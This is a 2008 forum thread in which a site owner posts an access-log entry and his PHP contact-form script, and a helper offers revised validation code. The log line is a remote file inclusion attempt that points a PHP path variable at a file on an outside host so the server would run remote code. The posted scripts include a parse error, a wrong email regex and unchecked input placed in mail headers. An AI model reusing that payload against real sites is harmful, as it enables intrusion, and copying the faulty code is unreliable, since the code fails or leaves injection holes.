My server security

[martinjamesroberts]

Hello

 

On my index page I have a contact form made in flash with a simple script file to send me the comments... I also have this guy who is trying to exploit my site for some reason..

 

Please, please, please can someone tell me how I can add code to my PHP script that will look for invalid parameters and redirect him off somewhere else...?

 

My log shows what is below:-

 

209.3.11.34 - - [20/May/2008:02:22:02 +0200] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[itemid]=1&GLOBALS=&mosConfig_absolute_path=http://82.127.69.88/dotProject/files/1.gif?/ HTTP/1.1" 200 4008

 

Many Thanks

Martin

Here is the contents of my script...

 

<?

// initialize variables for To and Subject fields

$to = '[email protected]';

$subject = 'Enquiry';

 

// build message body from variables received in the POST array

$message = 'From: '.$_POST['firstname']."\n\n";

$message .= 'Email: '.$_POST['email']."\n\n";

$message .= 'Enquiry: '.$_POST['enquiry']."\n\n";

 

// add additional email headers for more user-friendly reply

$additionalHeaders = "From: Martin<[email protected]>\n";

$additionalHeaders .= "Reply-To:$_POST";

 

//send email message

$OK = mail($to, $subject, $message, $additionalHeaders);

?>

 

Thanks again..

i don't see how

209.3.11.34 - - [20/May/2008:02:22:02 +0200] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[itemid]=1&GLOBALS=&mosConfig_absolute_path=http://82.127.69.88/dotProject/files/1.gif?/ HTTP/1.1" 200 4008

relates to that mail script!

 

 

try this, post the debug info and i'll adapt the script to suite

<?
//Debug: 
echo "DEBUG: GET";
echo count($_GET);
echo "<br>Post";
print_r($_POST);
echo "<br>End Debug";
//End debug

//the if below will need to be updated depending on the debug info.
if(count($_GET) >0 || count($_POST) != 3)
{
die("Bad Parameters");
}

if(empty($_POST['firstname']) || empty($_POST['email']) || empty($_POST['enquiry']) )
{
die("Missing Parameters");
}

if (!preg_match('/\{(\w+)(?::\d+)?\}/', $_POST['email']))
{
die("Invalid Email");
}

// initialize variables for To and Subject fields
$to = '[email protected]';
$subject = 'Enquiry';

// build message body from variables received in the POST array
$message = 'From: '.$_POST['firstname']."\n\n";
$message .= 'Email: '.$_POST['email']."\n\n";
$message .= 'Enquiry: '.$_POST['enquiry']."\n\n";

// add additional email headers for more user-friendly reply
$additionalHeaders = "From: Martin<[email protected]>\n";
$additionalHeaders .= "Reply-To:$_POST['email']"; //bug fix

//send email message
$OK = mail($to, $subject, $message, $additionalHeaders);
?>

Hi there, thanks for your reply

 

I take it I save this as my new script and post a message?

 

[martinjamesroberts]

Also the script is in an external file, feedback.php. I only named the index file with the suffix .php as the flash movie contained within had a php script, is this necessary?

[martinjamesroberts]

I used the file containing the debug information but the email did not send. When I switched it back it did.. I have an SMTP server set-up with only itself allowed to send emails, maybe the exploit is directly from the index.php page and not the form script (feedback.php)?

 

(Please note the index.php file doesn't contain code, it just contains the flash document which passes the variables to the script)

 

I'm sorry I know this is a pain! Argh!

[MadTechie]

if index.php doesn't contains any php then i could be .html but personally i would keep it .php (you may add code to it later)

I used the file containing the debug information but the email did not send

 

i expected that, but the page should of displayed some debug data,

[martinjamesroberts]

Yup, i tried, nothing has shown up on the page.. it just performs the usual operation but doesn't send

[MadTechie]

okay just remove this

 

//Debug: 
echo "DEBUG: GET";
echo count($_GET);
echo "<br>Post";
print_r($_POST);
echo "<br>End Debug";
//End debug

//the if below will need to be updated depending on the debug info.
if(count($_GET) >0 || count($_POST) != 3)
{
die("Bad Parameters");
}

 

the reset should be fine

[martinjamesroberts]

Still won't send the message...

[MadTechie]

full script

<?

if(empty($_POST['firstname']) || empty($_POST['email']) || empty($_POST['enquiry']) )
{
die("Missing Parameters");
}

if (!preg_match('/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $_POST['email']))
{
die("Invalid Email");
}

// initialize variables for To and Subject fields
$to = '[email protected]';
$subject = 'Enquiry';

// build message body from variables received in the POST array
$message = 'From: '.$_POST['firstname']."\n\n";
$message .= 'Email: '.$_POST['email']."\n\n";
$message .= 'Enquiry: '.$_POST['enquiry']."\n\n";

// add additional email headers for more user-friendly reply
$additionalHeaders = "From: Martin<[email protected]>\n";
$additionalHeaders .= "Reply-To:$_POST['email']"; //bug fix

//send email message
$OK = mail($to, $subject, $message, $additionalHeaders);
?>

[martinjamesroberts]

Hello, I do really appreciate you helping me, but the script will not send unless I use the original.. could there be a syntax error somewhere.. I'm sorry I really am a newb and coulc not tell if there was..

[martinjamesroberts]

Would it not be better to put a redirect script in the top of the index.php?
